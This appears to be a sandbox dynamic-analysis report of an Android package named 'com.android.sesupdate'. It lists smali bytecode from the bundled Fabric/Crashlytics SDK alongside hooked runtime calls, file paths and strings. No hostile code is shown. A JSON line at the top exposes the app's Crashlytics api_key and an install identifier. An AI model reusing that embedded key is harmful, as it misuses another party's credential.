                              • {"version_name":"3.0","install_uuid":"727b1e1c99ed48bfa431dd3ed82456db","version_code":"3","api_key":"19d58776ce8832688957d734b44933eeffb4ed48","unity_version":"","delivery_mechanism":4,"app_identifier":"com.android.sesupdate"}
                          15move-result-object v0
                          17invoke-virtual {v0}, Ljava/lang/String;->getBytes()[B
                          18move-result-object v0
                          20invoke-virtual {p1, v0}, Ljava/io/FileOutputStream;->write([B)V
                          21return-void
                          Cross References
                          APIs
                          • com.crashlytics.android.core.CrashlyticsController.isHandlingException
                          Strings
                          • CrashlyticsCore
                          • Skipping session finalization because a crash has already occurred.
                          • Finalizing previously open sessions.
                          • Closed all previously open sessions
                          Position Instruction Meta Information
                          0.annotation system Ldalvik/annotation/Throws;
                          1value = {
                          2Ljava/lang/Exception;
                          3}
                          4.end annotation
                          5.prologue
                          7iget-object v0, p0, Lcom/crashlytics/android/core/CrashlyticsController$13;->this$0:Lcom/crashlytics/android/core/CrashlyticsController;
                          9invoke-virtual {v0}, Lcom/crashlytics/android/core/CrashlyticsController;->isHandlingException()Z
                          • Time: 994623536
                            • This:
                              • com.crashlytics.android.core.CrashlyticsController@9e3ef63
                            • Return:
                              • false
                          10move-result v0
                          11if-eqz v0, :cond_16
                          13invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          14move-result-object v0
                          16const-string v1, "CrashlyticsCore"
                          18const-string v2, "Skipping session finalization because a crash has already occurred."
                          20invoke-interface {v0, v1, v2}, Lio/fabric/sdk/android/Logger;->d(Ljava/lang/String;Ljava/lang/String;)V
                          22sget-object v0, Ljava/lang/Boolean;->FALSE:Ljava/lang/Boolean;
                          23goto_15: return-object v0
                          24cond_16:
                          25invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          26move-result-object v0
                          28const-string v1, "CrashlyticsCore"
                          30const-string v2, "Finalizing previously open sessions."
                          32invoke-interface {v0, v1, v2}, Lio/fabric/sdk/android/Logger;->d(Ljava/lang/String;Ljava/lang/String;)V
                          34iget-object v0, p0, Lcom/crashlytics/android/core/CrashlyticsController$13;->this$0:Lcom/crashlytics/android/core/CrashlyticsController;
                          36iget-object v1, p0, Lcom/crashlytics/android/core/CrashlyticsController$13;->val$sessionSettingsData:Lio/fabric/sdk/android/services/settings/SessionSettingsData;
                          37const/4 v2, 0x1
                          39invoke-static {v0, v1, v2}, Lcom/crashlytics/android/core/CrashlyticsController;->access$1100(Lcom/crashlytics/android/core/CrashlyticsController;Lio/fabric/sdk/android/services/settings/SessionSettingsData;Z)V
                          41invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          42move-result-object v0
                          44const-string v1, "CrashlyticsCore"
                          46const-string v2, "Closed all previously open sessions"
                          48invoke-interface {v0, v1, v2}, Lio/fabric/sdk/android/Logger;->d(Ljava/lang/String;Ljava/lang/String;)V
                          50sget-object v0, Ljava/lang/Boolean;->TRUE:Ljava/lang/Boolean;
                          51goto/16 :goto_15
                          APIs
                          • android.content.pm.PackageManager.getPackageInfo
                          Strings
                          • onPreExecute
                          • com.android.sesupdate
                          • Fabric
                          • Failure onPreExecute()
                          Position Instruction Meta Information
                          0.prologue
                          1const/4 v6, 0x1
                          3invoke-super {p0}, Lio/fabric/sdk/android/services/concurrency/PriorityAsyncTask;->onPreExecute()V
                          5const-string v3, "onPreExecute"
                          7invoke-direct {p0, v3}, Lio/fabric/sdk/android/InitializationTask;->createAndStartTimingMetric(Ljava/lang/String;)Lio/fabric/sdk/android/services/common/TimingMetric;
                          8move-result-object v2
                          9const/4 v1, 0x0
                          10try_start_b:
                          11iget-object v3, p0, Lio/fabric/sdk/android/InitializationTask;->kit:Lio/fabric/sdk/android/Kit;
                          13invoke-virtual {v3}, Lio/fabric/sdk/android/Kit;->onPreExecute()Z
                          • Time: 994607519
                            • This:
                              • android.app.ApplicationPackageManager@24a50f88
                            • packageName: com.android.sesupdate
                            • flags: 0
                            • Return:
                              • PackageInfo{356ede5c com.android.sesupdate}
                          • Time: 994607524
                            • This:
                              • io.fabric.sdk.android.Onboarding@185a23ce
                            • Return:
                              • true
                          • Time: 994607590
                            • This:
                              • android.app.ApplicationPackageManager@24a50f88
                            • packageName: com.android.sesupdate
                            • flags: 0
                            • Return:
                              • PackageInfo{31b58fbf com.android.sesupdate}
                          14try_end_10: move-result v1
                          16invoke-virtual {v2}, Lio/fabric/sdk/android/services/common/TimingMetric;->stopMeasuring()V
                          17if-nez v1, :cond_19
                          19invoke-virtual {p0, v6}, Lio/fabric/sdk/android/InitializationTask;->cancel(Z)Z
                          20cond_19: return-void
                          21catch_1a: move-exception v0
                          22try_start_1b: throw v0
                          23try_end_1c: move-exception v3
                          25invoke-virtual {v2}, Lio/fabric/sdk/android/services/common/TimingMetric;->stopMeasuring()V
                          26if-nez v1, :cond_25
                          28invoke-virtual {p0, v6}, Lio/fabric/sdk/android/InitializationTask;->cancel(Z)Z
                          29cond_25: throw v3
                          30catch_26: move-exception v0
                          31try_start_27:
                          32invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          33move-result-object v3
                          35const-string v4, "Fabric"
                          37const-string v5, "Failure onPreExecute()"
                          39invoke-interface {v3, v4, v5, v0}, Lio/fabric/sdk/android/Logger;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)V
                          40try_end_32:
                          41invoke-virtual {v2}, Lio/fabric/sdk/android/services/common/TimingMetric;->stopMeasuring()V
                          42if-nez v1, :cond_19
                          44invoke-virtual {p0, v6}, Lio/fabric/sdk/android/InitializationTask;->cancel(Z)Z
                          45goto/16 :goto_19
                          APIs
                          • io.fabric.sdk.android.services.common.IdManager.getInstallerPackageName
                          • java.util.HashMap.<init>
                          • android.text.TextUtils.isEmpty
                          • java.util.Map.put
                          Strings
                          • com.google.android.feedback
                          Position Instruction Meta Information
                          0.annotation system Ldalvik/annotation/Signature;
                          1value = {
                          2"()",
                          3"Ljava/util/Map",
                          4"<",
                          5"Lio/fabric/sdk/android/services/common/IdManager$DeviceIdentifierType;",
                          6"Ljava/lang/String;",
                          7">;"
                          8}
                          9.end annotation
                          10.prologue
                          12invoke-virtual {p0}, Lcom/crashlytics/android/beta/Beta;->getIdManager()Lio/fabric/sdk/android/services/common/IdManager;
                          13move-result-object v3
                          15invoke-virtual {v3}, Lio/fabric/sdk/android/services/common/IdManager;->getInstallerPackageName()Ljava/lang/String;
                          • Time: 994607628
                            • This:
                              • io.fabric.sdk.android.services.common.IdManager@3140ff30
                            • Return:
                              • com.google.android.feedback
                          16move-result-object v2
                          18invoke-virtual {p0}, Lcom/crashlytics/android/beta/Beta;->getContext()Landroid/content/Context;
                          19move-result-object v3
                          21invoke-direct {p0, v3, v2}, Lcom/crashlytics/android/beta/Beta;->getBetaDeviceToken(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
                          22move-result-object v0
                          23new-instance v1, Ljava/util/HashMap;
                          25invoke-direct {v1}, Ljava/util/HashMap;-><init>()V
                          27invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                          28move-result v3
                          29if-nez v3, :cond_20
                          31sget-object v3, Lio/fabric/sdk/android/services/common/IdManager$DeviceIdentifierType;->FONT_TOKEN:Lio/fabric/sdk/android/services/common/IdManager$DeviceIdentifierType;
                          33invoke-interface {v1, v3, v0}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                          34cond_20: return-object v1
                          Cross References
                          APIs
                          • android.content.pm.PackageManager.getApplicationInfo
                          • android.text.TextUtils.isEmpty
                          Strings
                          • com.android.sesupdate
                          Position Instruction Meta Information
                          0.param p1, "context" # Landroid/content/Context;
                          1.prologue
                          3invoke-virtual {p0, p1}, Lio/fabric/sdk/android/services/common/ApiKey;->getApiKeyFromManifest(Landroid/content/Context;)Ljava/lang/String;
                          • Time: 994607676
                            • This:
                              • android.app.ApplicationPackageManager@24a50f88
                            • packageName: com.android.sesupdate
                            • flags: 128
                            • Return:
                              • ApplicationInfo{36d7fca7 com.android.sesupdate}
                          • Time: 994607786
                            • This:
                              • android.app.ApplicationPackageManager@24a50f88
                            • packageName: com.android.sesupdate
                            • flags: 128
                            • Return:
                              • ApplicationInfo{61018fa com.android.sesupdate}
                          4move-result-object v0
                          6invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                          7move-result v1
                          8if-eqz v1, :cond_e
                          10invoke-virtual {p0, p1}, Lio/fabric/sdk/android/services/common/ApiKey;->getApiKeyFromStrings(Landroid/content/Context;)Ljava/lang/String;
                          11move-result-object v0
                          12cond_e:
                          13invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                          14move-result v1
                          15if-eqz v1, :cond_18
                          17invoke-virtual {p0, p1}, Lio/fabric/sdk/android/services/common/ApiKey;->getApiKeyFromFirebaseAppId(Landroid/content/Context;)Ljava/lang/String;
                          18move-result-object v0
                          19cond_18:
                          20invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                          21move-result v1
                          22if-eqz v1, :cond_21
                          24invoke-virtual {p0, p1}, Lio/fabric/sdk/android/services/common/ApiKey;->logErrorOrThrowException(Landroid/content/Context;)V
                          25cond_21: return-object v0
                          Cross References
                          APIs
                          • android.content.Context.getPackageManager
                          • android.content.pm.PackageManager.getApplicationInfo
                          • java.io.FileInputStream.<init>
                          • java.util.zip.ZipInputStream.<init>
                          Strings
                          • io.crash.air
                          Position Instruction Meta Information
                          0.param p1, "context" # Landroid/content/Context;
                          1.param p2, "packageName" # Ljava/lang/String;
                          2.annotation system Ldalvik/annotation/Throws;
                          3value = {
                          4Landroid/content/pm/PackageManager$NameNotFoundException;,
                          5Ljava/io/FileNotFoundException;
                          6}
                          7.end annotation
                          8.prologue
                          10invoke-virtual {p1}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                          11move-result-object v1
                          12const/4 v2, 0x0
                          14invoke-virtual {v1, p2, v2}, Landroid/content/pm/PackageManager;->getApplicationInfo(Ljava/lang/String;I)Landroid/content/pm/ApplicationInfo;
                          • Time: 994607640
                            • This:
                              • android.app.ApplicationPackageManager@24a50f88
                            • packageName: io.crash.air
                            • flags: 0
                            • Return:
                              • android.content.pm.PackageManager$NameNotFoundException: io.crash.air
                          15move-result-object v0
                          16new-instance v2, Ljava/util/zip/ZipInputStream;
                          17new-instance v3, Ljava/io/FileInputStream;
                          19iget-object v4, v0, Landroid/content/pm/ApplicationInfo;->sourceDir:Ljava/lang/String;
                          21invoke-direct {v3, v4}, Ljava/io/FileInputStream;-><init>(Ljava/lang/String;)V
                          23invoke-direct {v2, v3}, Ljava/util/zip/ZipInputStream;-><init>(Ljava/io/InputStream;)V
                          24return-object v2
                          Cross References
                          APIs
                          • java.io.File.<init>
                          Strings
                          • /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246SessionApp.cls
                          • /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246SessionDevice.cls
                          • /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246SessionOS.cls
                          • Fabric
                          Position Instruction Meta Information
                          0.param p0, "c" # Ljava/io/Closeable;
                          1.param p1, "message" # Ljava/lang/String;
                          2.prologue
                          3if-eqz p0, :cond_5
                          4try_start_2:
                          5invoke-interface {p0}, Ljava/io/Closeable;->close()V
                          • Time: 994608500
                            • This:
                              • /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246SessionApp.cls
                            • p0: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246SessionApp.cls
                            • Return:
                              • /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246SessionApp.cls
                          • Time: 994608509
                            • This:
                              • /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246SessionApp.cls_temp
                            • p0: true
                            • Return:
                              • /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246SessionApp.cls
                          • Time: 994608875
                            • This:
                              • /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246SessionOS.cls
                            • p0: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246SessionOS.cls
                            • Return:
                              • /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246SessionOS.cls
                          • Time: 994608891
                            • This:
                              • /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246SessionOS.cls_temp
                            • p0: true
                            • Return:
                              • /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246SessionOS.cls
                          • Time: 994614459
                            • This:
                              • /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246SessionDevice.cls
                            • p0: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246SessionDevice.cls
                            • Return:
                              • /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246SessionDevice.cls
                          • Time: 994614780
                            • This:
                              • /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246SessionDevice.cls_temp
                            • p0: true
                            • Return:
                              • /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246SessionDevice.cls
                          6try_end_5: return-void
                          7catch_6: move-exception v0
                          9invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          10move-result-object v1
                          12const-string v2, "Fabric"
                          14invoke-interface {v1, v2, p1, v0}, Lio/fabric/sdk/android/Logger;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)V
                          15goto/16 :goto_5
                          Cross References
                          APIs
                          • java.util.Collection.iterator
                          • java.util.Iterator.hasNext
                          • java.util.Iterator.next
                          • com.crashlytics.android.Crashlytics.getClass
                          • java.util.Map.put
                          Position Instruction Meta Information
                          0.annotation system Ldalvik/annotation/Signature;
                          1value = {
                          2"(",
                          3"Ljava/util/Map",
                          4"<",
                          5"Ljava/lang/Class",
                          6"<+",
                          7"Lio/fabric/sdk/android/Kit;",
                          8">;",
                          9"Lio/fabric/sdk/android/Kit;",
                          10">;",
                          11"Ljava/util/Collection",
                          12"<+",
                          13"Lio/fabric/sdk/android/Kit;",
                          14">;)V"
                          15}
                          16.end annotation
                          17.prologue
                          19invoke-interface {p1}, Ljava/util/Collection;->iterator()Ljava/util/Iterator;
                          20move-result-object v1
                          21goto_4:
                          22invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
                          23move-result v2
                          24if-eqz v2, :cond_25
                          26invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                          27move-result-object v0
                          28check-cast v0, Lio/fabric/sdk/android/Kit;
                          30invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                          • Time: 994607170
                            • This:
                              • com.crashlytics.android.Crashlytics@1cf0272a
                            • Return:
                              • class com.crashlytics.android.Crashlytics
                              • getName: com.crashlytics.android.Crashlytics
                          • Time: 994607176
                            • This:
                              • com.crashlytics.android.answers.Answers@917c8a3
                            • Return:
                              • class com.crashlytics.android.answers.Answers
                              • getName: com.crashlytics.android.answers.Answers
                          • Time: 994607180
                            • This:
                              • com.crashlytics.android.beta.Beta@1a756f59
                            • Return:
                              • class com.crashlytics.android.beta.Beta
                              • getName: com.crashlytics.android.beta.Beta
                          • Time: 994607184
                            • This:
                              • com.crashlytics.android.core.CrashlyticsCore@3b544bff
                            • Return:
                              • class com.crashlytics.android.core.CrashlyticsCore
                              • getName: com.crashlytics.android.core.CrashlyticsCore
                          31move-result-object v2
                          33invoke-interface {p0, v2, v0}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                          34instance-of v2, v0, Lio/fabric/sdk/android/KitGroup;
                          35if-eqz v2, :cond_4
                          36check-cast v0, Lio/fabric/sdk/android/KitGroup;
                          38invoke-interface {v0}, Lio/fabric/sdk/android/KitGroup;->getKits()Ljava/util/Collection;
                          39move-result-object v2
                          41invoke-static {p0, v2}, Lio/fabric/sdk/android/Fabric;->addToKitMap(Ljava/util/Map;Ljava/util/Collection;)V
                          42goto/16 :goto_4
                          43cond_25: return-void
                          Cross References
                          APIs
                          • com.android.sesupdate.MainApplication.getApplicationContext
                          • android.content.Context.getApplicationInfo
                          • android.content.Context.getResources
                          • android.content.res.Resources.getResourcePackageName
                          • android.content.Context.getPackageName
                          Position Instruction Meta Information
                          0.param p0, "context" # Landroid/content/Context;
                          1.prologue
                          3invoke-virtual {p0}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
                          • Time: 994606172
                            • This:
                              • com.android.sesupdate.MainApplication@1b85eb7a
                            • Return:
                              • com.android.sesupdate.MainApplication@1b85eb7a
                          4move-result-object v1
                          6invoke-virtual {v1}, Landroid/content/Context;->getApplicationInfo()Landroid/content/pm/ApplicationInfo;
                          7move-result-object v1
                          8iget v0, v1, Landroid/content/pm/ApplicationInfo;->icon:I
                          9if-lez v0, :cond_15
                          11invoke-virtual {p0}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
                          12move-result-object v1
                          14invoke-virtual {v1, v0}, Landroid/content/res/Resources;->getResourcePackageName(I)Ljava/lang/String;
                          15move-result-object v1
                          16goto_14: return-object v1
                          17cond_15:
                          18invoke-virtual {p0}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                          19move-result-object v1
                          20goto/16 :goto_14
                          Cross References
                          APIs
                          • io.fabric.sdk.android.Onboarding.getOverridenSpiEndpoint
                          • io.fabric.sdk.android.services.settings.Settings.loadSettingsData
                          Strings
                          • Fabric
                          • Error dealing with settings
                          Position Instruction Meta Information
                          0.prologue
                          1try_start_0:
                          2invoke-static {}, Lio/fabric/sdk/android/services/settings/Settings;->getInstance()Lio/fabric/sdk/android/services/settings/Settings;
                          3move-result-object v0
                          5iget-object v2, p0, Lio/fabric/sdk/android/Onboarding;->idManager:Lio/fabric/sdk/android/services/common/IdManager;
                          7iget-object v3, p0, Lio/fabric/sdk/android/Onboarding;->requestFactory:Lio/fabric/sdk/android/services/network/HttpRequestFactory;
                          9iget-object v4, p0, Lio/fabric/sdk/android/Onboarding;->versionCode:Ljava/lang/String;
                          11iget-object v5, p0, Lio/fabric/sdk/android/Onboarding;->versionName:Ljava/lang/String;
                          13invoke-virtual {p0}, Lio/fabric/sdk/android/Onboarding;->getOverridenSpiEndpoint()Ljava/lang/String;
                          14move-result-object v6
                          15move-object v1, p0
                          17invoke-virtual/range {v0 .. v6}, Lio/fabric/sdk/android/services/settings/Settings;->initialize(Lio/fabric/sdk/android/Kit;Lio/fabric/sdk/android/services/common/IdManager;Lio/fabric/sdk/android/services/network/HttpRequestFactory;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Lio/fabric/sdk/android/services/settings/Settings;
                          18move-result-object v0
                          20invoke-virtual {v0}, Lio/fabric/sdk/android/services/settings/Settings;->loadSettingsData()Z
                          • Time: 994614536
                            • This:
                              • io.fabric.sdk.android.services.settings.Settings@1acbbad
                            • Return:
                              • true
                          22invoke-static {}, Lio/fabric/sdk/android/services/settings/Settings;->getInstance()Lio/fabric/sdk/android/services/settings/Settings;
                          23move-result-object v0
                          25invoke-virtual {v0}, Lio/fabric/sdk/android/services/settings/Settings;->awaitSettingsData()Lio/fabric/sdk/android/services/settings/SettingsData;
                          26try_end_1f: move-result-object v0
                          27goto_20: return-object v0
                          28catch_21: move-exception v7
                          30invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          31move-result-object v0
                          33const-string v1, "Fabric"
                          35const-string v2, "Error dealing with settings"
                          37invoke-interface {v0, v1, v2, v7}, Lio/fabric/sdk/android/Logger;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)V
                          38const/4 v0, 0x0
                          39goto/16 :goto_20
                          Cross References
                          APIs
                          • com.android.sesupdate.MainActivity.getClass
                          • java.lang.Class.getName
                          • java.util.Collections.singletonMap
                          Strings
                          • activity
                          Position Instruction Meta Information
                          0.param p0, "type" # Lcom/crashlytics/android/answers/SessionEvent$Type;
                          1.param p1, "activity" # Landroid/app/Activity;
                          2.prologue
                          4const-string v1, "activity"
                          6invoke-virtual {p1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                          • Time: 994608385
                            • This:
                              • com.android.sesupdate.MainActivity@5c0ef37
                            • Return:
                              • class com.android.sesupdate.MainActivity
                              • getName: com.android.sesupdate.MainActivity
                          7move-result-object v2
                          9invoke-virtual {v2}, Ljava/lang/Class;->getName()Ljava/lang/String;
                          10move-result-object v2
                          12invoke-static {v1, v2}, Ljava/util/Collections;->singletonMap(Ljava/lang/Object;Ljava/lang/Object;)Ljava/util/Map;
                          13move-result-object v0
                          14new-instance v1, Lcom/crashlytics/android/answers/SessionEvent$Builder;
                          16invoke-direct {v1, p0}, Lcom/crashlytics/android/answers/SessionEvent$Builder;-><init>(Lcom/crashlytics/android/answers/SessionEvent$Type;)V
                          18invoke-virtual {v1, v0}, Lcom/crashlytics/android/answers/SessionEvent$Builder;->details(Ljava/util/Map;)Lcom/crashlytics/android/answers/SessionEvent$Builder;
                          19move-result-object v1
                          20return-object v1
                          Cross References
                          APIs
                          • android.content.Context.getPackageManager
                          • com.android.sesupdate.MainApplication.getPackageName
                          • android.content.pm.PackageManager.getInstallerPackageName
                          Strings
                          • com.android.sesupdate
                          Position Instruction Meta Information
                          0.param p1, "context" # Landroid/content/Context;
                          1.annotation system Ldalvik/annotation/Throws;
                          2value = {
                          3Ljava/lang/Exception;
                          4}
                          5.end annotation
                          6.prologue
                          8invoke-virtual {p1}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                          9move-result-object v2
                          11invoke-virtual {p1}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                          • Time: 994607501
                            • This:
                              • com.android.sesupdate.MainApplication@1b85eb7a
                            • Return:
                              • com.android.sesupdate
                          12move-result-object v0
                          14invoke-virtual {v2, v0}, Landroid/content/pm/PackageManager;->getInstallerPackageName(Ljava/lang/String;)Ljava/lang/String;
                          15move-result-object v1
                          16if-nez v1, :cond_10
                          18const-string v1, ""
                          19cond_10: return-object v1
                          APIs
                          • android.content.ContextWrapper.getFilesDir
                          • java.io.File.<init>
                          Strings
                          • .Fabric/com.crashlytics.sdk.android.crashlytics-core
                          • .Fabric/com.crashlytics.sdk.android:answers
                          Position Instruction Meta Information
                          0.prologue
                          1new-instance v0, Ljava/io/File;
                          3invoke-super {p0}, Landroid/content/ContextWrapper;->getFilesDir()Ljava/io/File;
                          4move-result-object v1
                          6iget-object v2, p0, Lio/fabric/sdk/android/FabricContext;->componentPath:Ljava/lang/String;
                          8invoke-direct {v0, v1, v2}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
                          • Time: 994608221
                            • This:
                              • /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core
                            • p0: /data/data/com.android.sesupdate/files
                            • p1: .Fabric/com.crashlytics.sdk.android.crashlytics-core
                            • Return:
                              • /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core
                          • Time: 994608562
                            • This:
                              • /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android:answers
                            • p0: /data/data/com.android.sesupdate/files
                            • p1: .Fabric/com.crashlytics.sdk.android:answers
                            • Return:
                              • /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android:answers
                          9return-object v0
                          Cross References
                          APIs
                          • com.crashlytics.android.beta.Beta.hasAnnotatedDependency
                          • com.crashlytics.android.Crashlytics.hasAnnotatedDependency
                          • com.crashlytics.android.core.CrashlyticsCore.hasAnnotatedDependency
                          Position Instruction Meta Information
                          0.param p1, "another" # Lio/fabric/sdk/android/Kit;
                          1.prologue
                          2const/4 v0, 0x1
                          3const/4 v1, -0x1
                          5invoke-virtual {p0, p1}, Lio/fabric/sdk/android/Kit;->containsAnnotatedDependency(Lio/fabric/sdk/android/Kit;)Z
                          6move-result v2
                          7if-eqz v2, :cond_9
                          8goto_8: return v0
                          9cond_9:
                          10invoke-virtual {p1, p0}, Lio/fabric/sdk/android/Kit;->containsAnnotatedDependency(Lio/fabric/sdk/android/Kit;)Z
                          11move-result v2
                          12if-eqz v2, :cond_11
                          13move v0, v1
                          14goto/16 :goto_8
                          15cond_11:
                          16invoke-virtual {p0}, Lio/fabric/sdk/android/Kit;->hasAnnotatedDependency()Z
                          • Time: 994607274
                            • This:
                              • com.crashlytics.android.core.CrashlyticsCore@3b544bff
                            • Return:
                              • true
                          • Time: 994607313
                            • This:
                              • com.crashlytics.android.beta.Beta@1a756f59
                            • Return:
                              • false
                          17move-result v2
                          18if-eqz v2, :cond_1d
                          20invoke-virtual {p1}, Lio/fabric/sdk/android/Kit;->hasAnnotatedDependency()Z
                          • Time: 994607283
                            • This:
                              • com.crashlytics.android.Crashlytics@1cf0272a
                            • Return:
                              • false
                          21move-result v2
                          22if-eqz v2, :cond_8
                          23cond_1d:
                          24invoke-virtual {p0}, Lio/fabric/sdk/android/Kit;->hasAnnotatedDependency()Z
                          • Time: 994607325
                            • This:
                              • com.crashlytics.android.beta.Beta@1a756f59
                            • Return:
                              • false
                          25move-result v0
                          26if-nez v0, :cond_2b
                          28invoke-virtual {p1}, Lio/fabric/sdk/android/Kit;->hasAnnotatedDependency()Z
                          • Time: 994607336
                            • This:
                              • com.crashlytics.android.core.CrashlyticsCore@3b544bff
                            • Return:
                              • true
                          • Time: 994607382
                            • This:
                              • com.crashlytics.android.Crashlytics@1cf0272a
                            • Return:
                              • false
                          29move-result v0
                          30if-eqz v0, :cond_2b
                          31move v0, v1
                          32goto/16 :goto_8
                          33cond_2b: const/4 v0, 0x0
                          34goto/16 :goto_8
                          APIs
                          • java.util.Collection.iterator
                          • java.util.Iterator.hasNext
                          • java.util.Iterator.next
                          • io.fabric.sdk.android.InitializationTask.isFinished
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-virtual {p0}, Lio/fabric/sdk/android/services/concurrency/PriorityTask;->getDependencies()Ljava/util/Collection;
                          3move-result-object v1
                          5invoke-interface {v1}, Ljava/util/Collection;->iterator()Ljava/util/Iterator;
                          6move-result-object v1
                          7cond_8:
                          8invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
                          9move-result v2
                          10if-eqz v2, :cond_1c
                          12invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                          13move-result-object v0
                          14check-cast v0, Lio/fabric/sdk/android/services/concurrency/Task;
                          16invoke-interface {v0}, Lio/fabric/sdk/android/services/concurrency/Task;->isFinished()Z
                          • Time: 994607552
                            • This:
                              • io.fabric.sdk.android.InitializationTask@1e50a23a
                            • Return:
                              • false
                          • Time: 994615652
                            • This:
                              • io.fabric.sdk.android.InitializationTask@1e50a23a
                            • Return:
                              • true
                          17move-result v2
                          18if-nez v2, :cond_8
                          19const/4 v1, 0x0
                          20goto_1b: return v1
                          21cond_1c: const/4 v1, 0x1
                          22goto/16 :goto_1b
                          Cross References
                          APIs
                          • java.lang.IndexOutOfBoundsException.<init>
                          • io.fabric.sdk.android.services.common.QueueFile.isEmpty
                          Strings
                          • buffer
                          Position Instruction Meta Information
                          0.param p1, "data" # [B
                          1.param p2, "offset" # I
                          2.param p3, "count" # I
                          3.annotation system Ldalvik/annotation/Throws;
                          4value = {
                          5Ljava/io/IOException;
                          6}
                          7.end annotation
                          8.prologue
                          9monitor-enter p0
                          10try_start_1:
                          11const-string v4, "buffer"
                          13invoke-static {p1, v4}, Lio/fabric/sdk/android/services/common/QueueFile;->nonNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
                          14or-int v4, p2, p3
                          15if-ltz v4, :cond_e
                          16array-length v4, p1
                          17sub-int/2addr v4, p2
                          18if-le p3, v4, :cond_17
                          19cond_e: new-instance v4, Ljava/lang/IndexOutOfBoundsException;
                          21invoke-direct {v4}, Ljava/lang/IndexOutOfBoundsException;-><init>()V
                          22throw v4
                          23try_end_14: move-exception v4
                          24monitor-exit p0
                          25throw v4
                          26cond_17:
                          27invoke-direct {p0, p3}, Lio/fabric/sdk/android/services/common/QueueFile;->expandIfNecessary(I)V
                          29invoke-virtual {p0}, Lio/fabric/sdk/android/services/common/QueueFile;->isEmpty()Z
                          • Time: 994608808
                            • This:
                              • QueueFile[fileLength=4096, size=0, first=Element[position = 0, length = 0], last=Element[position = 0, length = 0], element lengths=[]]
                            • Return:
                              • java.lang.Class@293f99a8
